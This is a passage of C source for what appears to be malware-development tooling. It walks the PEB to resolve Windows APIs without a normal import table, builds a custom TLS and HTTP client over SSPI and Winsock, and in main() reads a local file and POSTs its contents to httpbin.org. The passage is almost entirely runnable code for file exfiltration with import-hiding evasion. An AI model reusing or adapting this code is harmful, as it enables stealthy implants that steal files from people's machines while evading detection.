if (Object == NULL)
return FALSE;
CopyMemoryEx(Object + *Length, Response, ResponseLength);
Object[*Length + ResponseLength] = 0;
*Buffer = Object;
*Length += ResponseLength;
return TRUE;
}
BOOL HttpGetContentLength(PCHAR Header, SIZE_T HeaderLength, PSIZE_T outLen)
{
PCHAR Pointer = Header;
PCHAR BufferEnd = Header + HeaderLength;
PCHAR HttpClrf = NULL;
CHAR ContentLengthHeader[] = "content-length:";
SIZE_T ContentLengthLength = sizeof(ContentLengthHeader) - 1;
PCHAR ContentLengthValue = NULL;
SIZE_T ContentLengthValueLength = 0;
BOOL bFlag = FALSE;
while (Pointer < BufferEnd)
{
HttpClrf = FindStringInMemoryRegion(Pointer, (SIZE_T)(BufferEnd - Pointer), (PCHAR)"\r\n", 2);
if (HttpClrf == NULL)
HttpClrf = BufferEnd;
if ((SIZE_T)(HttpClrf - Pointer) >= (sizeof(ContentLengthHeader) - 1) && StringCompareByLengthLowerA(Pointer, ContentLengthHeader, ContentLengthLength) == 0)
{
ContentLengthValue = Pointer + (sizeof(ContentLengthHeader) - 1);
while (ContentLengthValue < HttpClrf && (*ContentLengthValue == ' ' || *ContentLengthValue == '\t'))
ContentLengthValue++;
while (ContentLengthValue < HttpClrf && *ContentLengthValue >= '0' && *ContentLengthValue <= '9')
{
bFlag = TRUE;
ContentLengthValueLength = (ContentLengthValueLength * 10) + (SIZE_T)(*ContentLengthValue - '0');
ContentLengthValue++;
}
if(bFlag)
*outLen = ContentLengthValueLength;
return bFlag;
}
Pointer = IncrementPointerNoMutateOffset(HttpClrf, 2);
}
return FALSE;
}
PBYTE WsaTlsReceive(PAPI_TABLE Api, PTLSCLIENT TlsClient, SOCKET Socket, PSIZE_T Length)
{
SECURITY_STATUS SecurityStatus = 0;
SecBuffer SecurityBufferObjectArray[4];
ImplZeroMemory2(&SecurityBufferObjectArray, sizeof(SecurityBufferObjectArray));
SecBufferDesc SecurityDescription;
ImplZeroMemory2(&SecurityDescription, sizeof(SecurityDescription));
PBYTE NetworkBuffer = NULL;
SIZE_T NetworkBufferLength = 0;
PBYTE Response = NULL;
SIZE_T ResponseLength = 0;
BYTE ResponseDigestObject[8192];
ImplZeroMemory2(&ResponseDigestObject, sizeof(ResponseDigestObject));
PBYTE SecBufferChannelExtraHandler = NULL;
ULONG SecBufferChannelExtraLength = 0;
BOOL HttpKeepAliveAreHeadersPresentFlag = FALSE;
BOOL HttpIsContentLengthPresentFlag = FALSE;
SIZE_T HttpResponseBodyLength = 0;
SIZE_T HttpResponseTotal = 0;
for (INT BytesReceived = 0; TRUE;)
{
if (HttpKeepAliveAreHeadersPresentFlag)
{
if (HttpIsContentLengthPresentFlag && ResponseLength >= HttpResponseTotal)
{
*Length = HttpResponseTotal;
break;
}
}
BytesReceived = Api->WsaReceiveBuffer(Socket, (PCHAR)ResponseDigestObject, sizeof(ResponseDigestObject), 0);
if (BytesReceived == 0)
break;
if (BytesReceived < 0)
goto EXIT_ROUTINE;
if (!WsaProcessIncomingResponseBuffer(Api, &NetworkBuffer, &NetworkBufferLength, ResponseDigestObject, (SIZE_T)BytesReceived))
goto EXIT_ROUTINE;
while (TRUE)
{
if (NetworkBufferLength == ERROR_SUCCESS)
break;
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[0], SECBUFFER_DATA, (ULONG)NetworkBufferLength, NetworkBuffer);
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[1], SECBUFFER_EMPTY, 0, NULL);
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[2], SECBUFFER_EMPTY, 0, NULL);
RtlInitializeSecurityBuffer(&SecurityBufferObjectArray[3], SECBUFFER_EMPTY, 0, NULL);
RtlInitializeSecurityDescription(&SecurityDescription, SECBUFFER_VERSION, 4, SecurityBufferObjectArray);
SecurityStatus = Api->SspiVirtualFunctionTable->DecryptMessage(&TlsClient->Context, &SecurityDescription, 0, NULL);
if (SecurityStatus == SEC_E_INCOMPLETE_MESSAGE)
break;
if (SecurityStatus == SEC_I_CONTEXT_EXPIRED)
{
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, NetworkBuffer);
*Length = ResponseLength;
return Response;
}
if (SecurityStatus != SEC_E_OK && SecurityStatus != SEC_I_RENEGOTIATE)
goto EXIT_ROUTINE;
for (INT Ordinal = 0; Ordinal < 4; Ordinal++)
{
if (SecurityBufferObjectArray[Ordinal].BufferType == SECBUFFER_DATA && SecurityBufferObjectArray[Ordinal].cbBuffer)
{
if (!WsaProcessIncomingResponseBuffer(Api, &Response, &ResponseLength, (PBYTE)SecurityBufferObjectArray[Ordinal].pvBuffer, SecurityBufferObjectArray[Ordinal].cbBuffer))
goto EXIT_ROUTINE;
}
}
if (!HttpKeepAliveAreHeadersPresentFlag)
{
PCHAR HeaderEndOffset = NULL;
HeaderEndOffset = FindStringInMemoryRegion((PCHAR)Response, ResponseLength, (PCHAR)"\r\n\r\n", 4);
if (HeaderEndOffset)
{
HttpKeepAliveAreHeadersPresentFlag = TRUE;
HttpIsContentLengthPresentFlag = HttpGetContentLength((PCHAR)Response, ((SIZE_T)(HeaderEndOffset - (PCHAR)Response)), &HttpResponseBodyLength);
if (HttpIsContentLengthPresentFlag)
HttpResponseTotal = (((SIZE_T)(HeaderEndOffset - (PCHAR)Response)) + 4) + HttpResponseBodyLength;
}
}
if (SecurityStatus == SEC_I_RENEGOTIATE)
goto EXIT_ROUTINE;
SecBufferChannelExtraHandler = NULL;
SecBufferChannelExtraLength = 0;
for (INT i = 0; i < 4; i++)
{
if (SecurityBufferObjectArray[i].BufferType == SECBUFFER_EXTRA && SecurityBufferObjectArray[i].cbBuffer > 0)
{
SecBufferChannelExtraHandler = (PBYTE)SecurityBufferObjectArray[i].pvBuffer;
SecBufferChannelExtraLength = SecurityBufferObjectArray[i].cbBuffer;
break;
}
}
if (SecBufferChannelExtraLength)
{
MoveMemory(NetworkBuffer, SecBufferChannelExtraHandler, SecBufferChannelExtraLength);
NetworkBufferLength = SecBufferChannelExtraLength;
}
else
NetworkBufferLength = 0;
}
}
EXIT_ROUTINE:
if (NetworkBuffer)
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, NetworkBuffer);
*Length = ResponseLength;
return Response;
}
PCHAR InternalHttpCreateSection(PAPI_TABLE Api, PCHAR Header, PCHAR Attribute)
{
PCHAR Out = NULL;
SIZE_T BufferSize = HTTP_DELIMITED_LENGTH;
BufferSize += StringLengthA(Header); BufferSize += StringLengthA(Attribute);
Out = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, BufferSize);
if (Out == NULL)
return NULL;
StringCopyA(Out, Header);
StringConcatA(Out, Attribute);
StringConcatA(Out, (PCHAR)HTTP_DELIMITER);
return Out;
}
PCHAR RtlBuildHttpGetRequest(PAPI_TABLE Api, INT Method, PCHAR Host, PCHAR UserAgent, PCHAR AcceptHeaderAttributes, PCHAR ConnectionHeaderAttributes, PCHAR ContentType, ULONG ContentLength)
{
PCHAR HttpBufferRequestObject = NULL;
PCHAR HttpBufferSectionHandler = NULL;
SIZE_T HttpBufferSize = DEFAULT_BUFFER_ALLOCATION_SIZE;
BOOL bFlag = FALSE;
CHAR ContentLengthObject[32];
ImplZeroMemory2(&ContentLengthObject, sizeof(ContentLengthObject));
HttpBufferRequestObject = (PCHAR)Api->RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, HttpBufferSize);
if (HttpBufferRequestObject == NULL)
goto EXIT_ROUTINE;
switch (Method)
{
case 0:
{
StringCopyA(HttpBufferRequestObject, (PCHAR)"GET /get HTTP/1.1\r\n");
break;
}
case 1:
{
StringCopyA(HttpBufferRequestObject, (PCHAR)"POST /post HTTP/1.1\r\n");
break;
}
default:
goto EXIT_ROUTINE;
}
if (Host)
{
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Host: ", Host);
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
}
if (UserAgent)
{
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"User-Agent: ", UserAgent);
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
}
if (AcceptHeaderAttributes)
{
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Accept: ", AcceptHeaderAttributes);
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
}
if (ContentType && ContentLength)
{
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Content-Type: ", ContentType);
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Content-Length: ", HttpUSizeToDecimalA((SIZE_T)ContentLength, ContentLengthObject, sizeof(ContentLengthObject)));
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
}
if (ConnectionHeaderAttributes)
{
HttpBufferSectionHandler = InternalHttpCreateSection(Api, (PCHAR)"Connection: ", ConnectionHeaderAttributes);
if (HttpBufferSectionHandler == NULL)
goto EXIT_ROUTINE;
else {
StringConcatA(HttpBufferRequestObject, HttpBufferSectionHandler);
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferSectionHandler);
}
}
StringConcatA(HttpBufferRequestObject, (PCHAR)HTTP_DELIMITER);
bFlag = TRUE;
EXIT_ROUTINE:
if (!bFlag)
Api->RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpBufferRequestObject);
return (bFlag ? HttpBufferRequestObject : NULL);
}
BOOL LdrLoadPopulationApiTable(PAPI_TABLE Api)
{
PLDR_MODULE LoaderModule = NULL;
LOADOBJECT Object;
ImplZeroMemory2(&Object, sizeof(Object));
LoaderModule = (PLDR_MODULE)((PBYTE)GetPeb()->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16);
if (LoaderModule == NULL)
return FALSE;
Api->LdrLoadDll = (LDRLOADDLL)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"LdrLoadDll");
Api->RtlAllocateHeap = (RTLALLOCATEHEAP)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"RtlAllocateHeap");
Api->RtlFreeHeap = (RTLFREEHEAP)ImportFunction((DWORD64)LoaderModule->BaseAddress, (PCHAR)"RtlFreeHeap");
if (!Api->LdrLoadDll || !Api->RtlAllocateHeap || !Api->RtlFreeHeap)
return FALSE;
RtlInitUnicodeString(&Object.String, (PWCHAR)L"sspicli.dll");
if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
return FALSE;
Api->InitializeSspiFunctionTable = (INITIALIZESSPIFUNCTIONTABLE)ImportFunction(Object.Base, (PCHAR)"InitSecurityInterfaceW");
if (!Api->InitializeSspiFunctionTable)
return FALSE;
Api->SspiVirtualFunctionTable = (PSecurityFunctionTableW)Api->InitializeSspiFunctionTable();
if (!Api->SspiVirtualFunctionTable)
return FALSE;
else
ImplZeroMemory2(&Object, sizeof(Object));
RtlInitUnicodeString(&Object.String, (PWCHAR)L"Ws2_32.dll");
if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
return FALSE;
Api->WsaStartup = (WSASTARTUP)ImportFunction(Object.Base, (PCHAR)"WSAStartup");
Api->WsaCleanup = (WSACLEANUP)ImportFunction(Object.Base, (PCHAR)"WSACleanup");
Api->WsaConnectSocket = (WSACONNECTSOCKET)ImportFunction(Object.Base, (PCHAR)"WSAConnect");
Api->WsaSendBuffer = (WSASENDBUFFER)ImportFunction(Object.Base, (PCHAR)"send");
Api->WsaReceiveBuffer = (WSARECEIVEBUFFER)ImportFunction(Object.Base, (PCHAR)"recv");
Api->WsaCloseSocket = (WSACLOSECOCKET)ImportFunction(Object.Base, (PCHAR)"closesocket");
Api->WsaBindSocketToTransportProvider = (WSABINDSOCKETTOTRANSPORTPROVIDER)ImportFunction(Object.Base, (PCHAR)"WSASocketW");
Api->WsaUnicodeHostToAddress = (WSAUNICODEHOSTTOADDRESS)ImportFunction(Object.Base, (PCHAR)"GetAddrInfoW");
Api->WsaFreeAddressInformation = (WSAFREEADDRESSRINFORMATION)ImportFunction(Object.Base, (PCHAR)"FreeAddrInfoW");
if (!Api->WsaStartup ||
!Api->WsaCleanup ||
!Api->WsaConnectSocket ||
!Api->WsaCloseSocket ||
!Api->WsaBindSocketToTransportProvider ||
!Api->WsaUnicodeHostToAddress ||
!Api->WsaFreeAddressInformation ||
!Api->WsaSendBuffer)
{
return FALSE;
}
else
ImplZeroMemory2(&Object, sizeof(Object));
RtlInitUnicodeString(&Object.String, (PWCHAR)L"Crypt32.dll");
if (Api->LdrLoadDll(NULL, 0, &Object.String, (PHANDLE)&Object.Base) != 0)
return FALSE;
Api->CertFreeCertificateChain = (CERTFREECERTIFICATECHAIN)ImportFunction(Object.Base, (PCHAR)"CertFreeCertificateChain");
Api->CertFreeCertificateContext = (CERTFREECERTIFICATECONTEXT)ImportFunction(Object.Base, (PCHAR)"CertFreeCertificateContext");
Api->CertGetCertificateChain = (CERTGETCERTIFICATECHAIN)ImportFunction(Object.Base, (PCHAR)"CertGetCertificateChain");
Api->CertVerifyCertificateChainPolicy = (CERTVERIFYCERTIFICATECHAINPOLICY)ImportFunction(Object.Base, (PCHAR)"CertVerifyCertificateChainPolicy");
if (!Api->CertFreeCertificateChain || !Api->CertFreeCertificateContext || !Api->CertGetCertificateChain || !Api->CertVerifyCertificateChainPolicy)
return FALSE;
return TRUE;
}
INT main(VOID)
{
API_TABLE Api;
ImplZeroMemory2(&Api, sizeof(Api));
WSADATA Wsa;
ImplZeroMemory2(&Wsa, sizeof(Wsa));
WCHAR Host[] = L"httpbin.org";
WCHAR Port[] = L"443";
PCHAR HttpRequestObject = NULL;
SOCKET Socket = INVALID_SOCKET;
PBYTE TlsResponse = NULL;
SIZE_T TlsResponseLength = 0;
TLSCLIENT TlsClient;
ImplZeroMemory2(&TlsClient, sizeof(TlsClient));
HTTP_RESPONSE HttpResponse;
ImplZeroMemory2(&HttpResponse, sizeof(HttpResponse));
LARGE_INTEGER FileSize;
ImplZeroMemory2(&FileSize, sizeof(FileSize));
PBYTE FileBuffer = NULL;
HANDLE hHandle = INVALID_HANDLE_VALUE;
DWORD BytesRead = 0;
BOOL bFlag = FALSE;
if (!LdrLoadPopulationApiTable(&Api))
return -1;
if (Api.WsaStartup(MAKEWORD(2, 2), &Wsa) != ERROR_SUCCESS)
return -1;
Socket = WsaTcpInitializeConnection(&Api, Host, Port);
if (Socket == NULL)
goto EXIT_ROUTINE;
if (!WsaPerformTlsHandshake(&Api, &TlsClient, Socket, Host))
goto EXIT_ROUTINE;
HttpRequestObject = RtlBuildHttpGetRequest(&Api, 0, (PCHAR)"httpbin.org", (PCHAR)"i like kitty cats/1.0", (PCHAR)"*/*", (PCHAR)"keep-alive", NULL, 0);
if (HttpRequestObject == NULL)
goto EXIT_ROUTINE;
if(!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)HttpRequestObject, StringLengthA(HttpRequestObject)))
goto EXIT_ROUTINE;
TlsResponse = WsaTlsReceive(&Api, &TlsClient, Socket, &TlsResponseLength);
if (TlsResponse == NULL)
goto EXIT_ROUTINE;
if (!ProcessHttpResponseData(&Api, TlsResponse, TlsResponseLength, &HttpResponse))
goto EXIT_ROUTINE;
//////////////////////////////////////////////////////////////////////////////////////////////
hHandle = CreateFileW(L"C:\\Users\\maldev\\Desktop\\TestUpload.txt", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hHandle == INVALID_HANDLE_VALUE)
goto EXIT_ROUTINE;
if (!GetFileSizeEx(hHandle, &FileSize))
goto EXIT_ROUTINE;
if ((ULONGLONG)FileSize.QuadPart > (ULONGLONG)(512 * 1024 * 1024))
goto EXIT_ROUTINE;
FileBuffer = (PBYTE)Api.RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, (SIZE_T)FileSize.QuadPart);
if (FileBuffer == NULL)
goto EXIT_ROUTINE;
if (!ReadFile(hHandle, FileBuffer, (DWORD)FileSize.QuadPart, &BytesRead, NULL))
goto EXIT_ROUTINE;
//////////////////////////////////////////////////////////////////////////////////////////////
if (HttpRequestObject)
Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpRequestObject);
HttpRequestObject = RtlBuildHttpGetRequest(&Api, 1, (PCHAR)"httpbin.org", (PCHAR)"i like kitty cats/1.0", (PCHAR)"*/*", (PCHAR)"keep-alive", (PCHAR)"application/octet-stream", (ULONG)FileSize.QuadPart);
if (HttpRequestObject == NULL)
goto EXIT_ROUTINE;
if (!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)HttpRequestObject, StringLengthA(HttpRequestObject)))
goto EXIT_ROUTINE;
if (!WsaTlsSend(&Api, &TlsClient, Socket, (PBYTE)FileBuffer, (SIZE_T)FileSize.QuadPart))
goto EXIT_ROUTINE;
TlsResponse = WsaTlsReceive(&Api, &TlsClient, Socket, &TlsResponseLength);
if (TlsResponse == NULL)
goto EXIT_ROUTINE;
if (!ProcessHttpResponseData(&Api, TlsResponse, TlsResponseLength, &HttpResponse))
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (FileBuffer)
Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, FileBuffer);
if (hHandle)
CloseHandle(hHandle);
if (HttpRequestObject)
Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, HttpRequestObject);
FreeHttpResponse(&Api, &HttpResponse);
if (TlsResponse)
Api.RtlFreeHeap(GetPeb()->ProcessHeap, 0, TlsResponse);
if (TlsClient.ContextFlag)
Api.SspiVirtualFunctionTable->DeleteSecurityContext(&TlsClient.Context);
if (TlsClient.CredFlag)
Api.SspiVirtualFunctionTable->FreeCredentialsHandle(&TlsClient.Cred);
if (Socket)
Api.WsaCloseSocket(Socket);
Api.WsaCleanup();
return (bFlag ? ERROR_SUCCESS : GetLastError());
}Last updated